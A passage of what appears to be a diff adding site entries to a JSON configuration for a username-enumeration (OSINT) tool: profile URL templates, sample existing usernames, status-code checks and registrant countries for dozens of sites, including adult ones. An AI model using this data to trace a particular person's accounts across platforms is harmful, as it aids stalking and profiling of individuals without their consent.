Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gesundheitsfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "getmyuni": { + "url": "https://getmyuni.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.getmyuni.com/user/%s", + "existUsername": "Upneet.Grover17", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.getmyuni.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "giantbomb": { + "url": "https://www.giantbomb.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.giantbomb.com/profile/%s/", + "existUsername": "bob", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.giantbomb.com/profile/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "giphy": { + "url": "https://giphy.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://giphy.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://giphy.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "goodreads": { + "url": "https://www.goodreads.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.goodreads.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.goodreads.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gradle": { + "url": "https://gradle.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://plugins.gradle.org/u/%s", + "existUsername": "jetbrains", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://plugins.gradle.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gravatar": { + "url": "http://en.gravatar.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "http://en.gravatar.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "http://en.gravatar.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gunsandammo": { + "url": "https://gunsandammo.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.gunsandammo.com/profile/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.gunsandammo.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "gutefrage": { + "url": "https://www.gutefrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.gutefrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.gutefrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "hackthebox": { + "url": "https://forum.hackthebox.eu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.hackthebox.eu/profile/%s", + "existUsername": "angar", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.hackthebox.eu/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "EU" + } + }, + "hackaday": { + "url": "https://hackaday.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hackaday.io/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hackaday.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "harvardscholar": { + "url": "https://scholar.harvard.edu/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://scholar.harvard.edu/%s", + "existUsername": "ousmanekane", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://scholar.harvard.edu/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hashnode": { + "url": "https://hashnode.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hashnode.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hashnode.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "hubpages": { + "url": "https://hubpages.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://hubpages.com/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://hubpages.com/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "icq": { + "url": "https://icq.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://icq.im/%s/en", + "existUsername": "Micheal", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://icq.im/%s/en" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "irl": { + "url": "https://www.irl.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.irl.com/%s", + "existUsername": "hacker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.irl.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "icons8community": { + "url": "https://community.icons8.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://community.icons8.com/u/%s/summary", + "existUsername": "thefourCraft", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://community.icons8.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "imgup-cz": { + "url": "https://imgup.cz/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://imgup.cz/%s", + "existUsername": "adam", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://imgup.cz/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CZ" + } + }, + "imgur": { + "url": "https://imgur.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.imgur.com/account/v1/accounts/%s?client_id=546c25a59c58ad7", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://imgur.com/user/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "IS" + } + }, + "instructables": { + "url": "https://www.instructables.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.instructables.com/member/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.instructables.com/member/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "intigriti": { + "url": "https://app.intigriti.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "nonExistRegex": "We didn't find what you're looking for", + "url": "https://app.intigriti.com/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://app.intigriti.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "ionicforum": { + "url": "https://forum.ionicframework.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forum.ionicframework.com/u/%s", + "existUsername": "theblue222", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forum.ionicframework.com/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "issuu": { + "url": "https://issuu.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://issuu.com/%s", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://issuu.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "itch-io": { + "url": "https://itch.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.itch.io/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.itch.io/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "jellyfinweblate": { + "url": "https://translate.jellyfin.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://translate.jellyfin.org/user/%s/", + "existUsername": "EraYaN", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://translate.jellyfin.org/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "jimdo": { + "url": "https://jimdosite.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.jimdosite.com", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.jimdosite.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "joplinforum": { + "url": "https://discourse.joplinapp.org/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://discourse.joplinapp.org/u/%s", + "existUsername": "laurent", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://discourse.joplinapp.org/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "keakr": { + "url": "https://www.keakr.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.keakr.com/en/profile/%s", + "existUsername": "beats", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.keakr.com/en/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "kaggle": { + "url": "https://www.kaggle.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.kaggle.com/%s", + "existUsername": "dansbecker", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.kaggle.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "keybase": { + "url": "https://keybase.io/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://keybase.io/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://keybase.io/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lor": { + "url": "https://linux.org.ru/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.linux.org.ru/people/%s/profile", + "existUsername": "red", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.linux.org.ru/people/%s/profile" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "launchpad": { + "url": "https://launchpad.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://launchpad.net/~%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://launchpad.net/~%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "GB" + } + }, + "lesswrong": { + "url": "https://www.lesswrong.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.lesswrong.com/users/@%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.lesswrong.com/users/@%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "linktree": { + "url": "https://linktr.ee/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://linktr.ee/%s", + "existUsername": "anne", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://linktr.ee/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "EE" + } + }, + "livejournal": { + "url": "https://www.livejournal.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.livejournal.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.livejournal.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "RU" + } + }, + "lobsters": { + "url": "https://lobste.rs/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://lobste.rs/u/%s", + "existUsername": "jcs", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://lobste.rs/u/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lottiefiles": { + "url": "https://lottiefiles.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://lottiefiles.com/%s", + "existUsername": "lottiefiles", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://lottiefiles.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "lushstories": { + "url": "https://www.lushstories.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.lushstories.com/profile/%s", + "existUsername": "chris_brown", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.lushstories.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "mmorpgforum": { + "url": "https://forums.mmorpg.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://forums.mmorpg.com/profile/%s", + "existUsername": "goku", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://forums.mmorpg.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "SE" + } + }, + "memrise": { + "url": "https://www.memrise.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.memrise.com/user/%s/", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.memrise.com/user/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "mixcloud": { + "url": "https://www.mixcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.mixcloud.com/%s/", + "existUsername": "jenny", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.mixcloud.com/%s/", + "status": false + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "modelhub": { + "url": "https://www.modelhub.com/", + "type": "Social", + "isNSFW": true, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.modelhub.com/%s/videos", + "existUsername": "secretcrush", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.modelhub.com/%s/videos" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "monkeytype": { + "url": "https://monkeytype.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.monkeytype.com/users/%s/profile", + "existUsername": "Lost_Arrow", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://monkeytype.com/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "motorradfrage": { + "url": "https://www.motorradfrage.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.motorradfrage.net/nutzer/%s", + "existUsername": "gutefrage", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.motorradfrage.net/nutzer/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "munzee": { + "url": "https://www.munzee.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.munzee.com/m/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.munzee.com/m/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "myanimelist": { + "url": "https://myanimelist.net/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://myanimelist.net/profile/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://myanimelist.net/profile/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "myminifactory": { + "url": "https://www.myminifactory.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.myminifactory.com/users/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.myminifactory.com/users/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "myspace": { + "url": "https://myspace.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://myspace.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://myspace.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "naver": { + "url": "https://naver.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://blog.naver.com/%s", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://blog.naver.com/%s" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "needrom": { + "url": "https://www.needrom.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.needrom.com/author/%s/", + "existUsername": "needrom", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://www.needrom.com/author/%s/" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "FR" + } + }, + "newgrounds": { + "url": "https://newgrounds.com", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://%s.newgrounds.com", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://%s.newgrounds.com" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "CA" + } + }, + "nextcloudforum": { + "url": "https://nextcloud.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://help.nextcloud.com/u/%s/summary", + "existUsername": "blue", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://help.nextcloud.com/u/%s/summary" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "DE" + } + }, + "nightbot": { + "url": "https://nightbot.tv/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://api.nightbot.tv/1/channels/t/%s", + "existUsername": "green", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36" + }, + "userPage": "https://nightbot.tv/t/%s/commands" + } + ], + "login": { + "url": "", + "successRegex": "" + }, + "whois": { + "RegistrantCountry": "US" + } + }, + "nintendolife": { + "url": "https://www.nintendolife.com/", + "type": "Social", + "isNSFW": false, + "detect": [ + { + "type": "username", + "statusCode": "200", + "url": "https://www.nintendolife.com/users/%s", + "existUsername": "goku", + "nonExistUsername": "youga777888", + "header": { + "User-Agent": 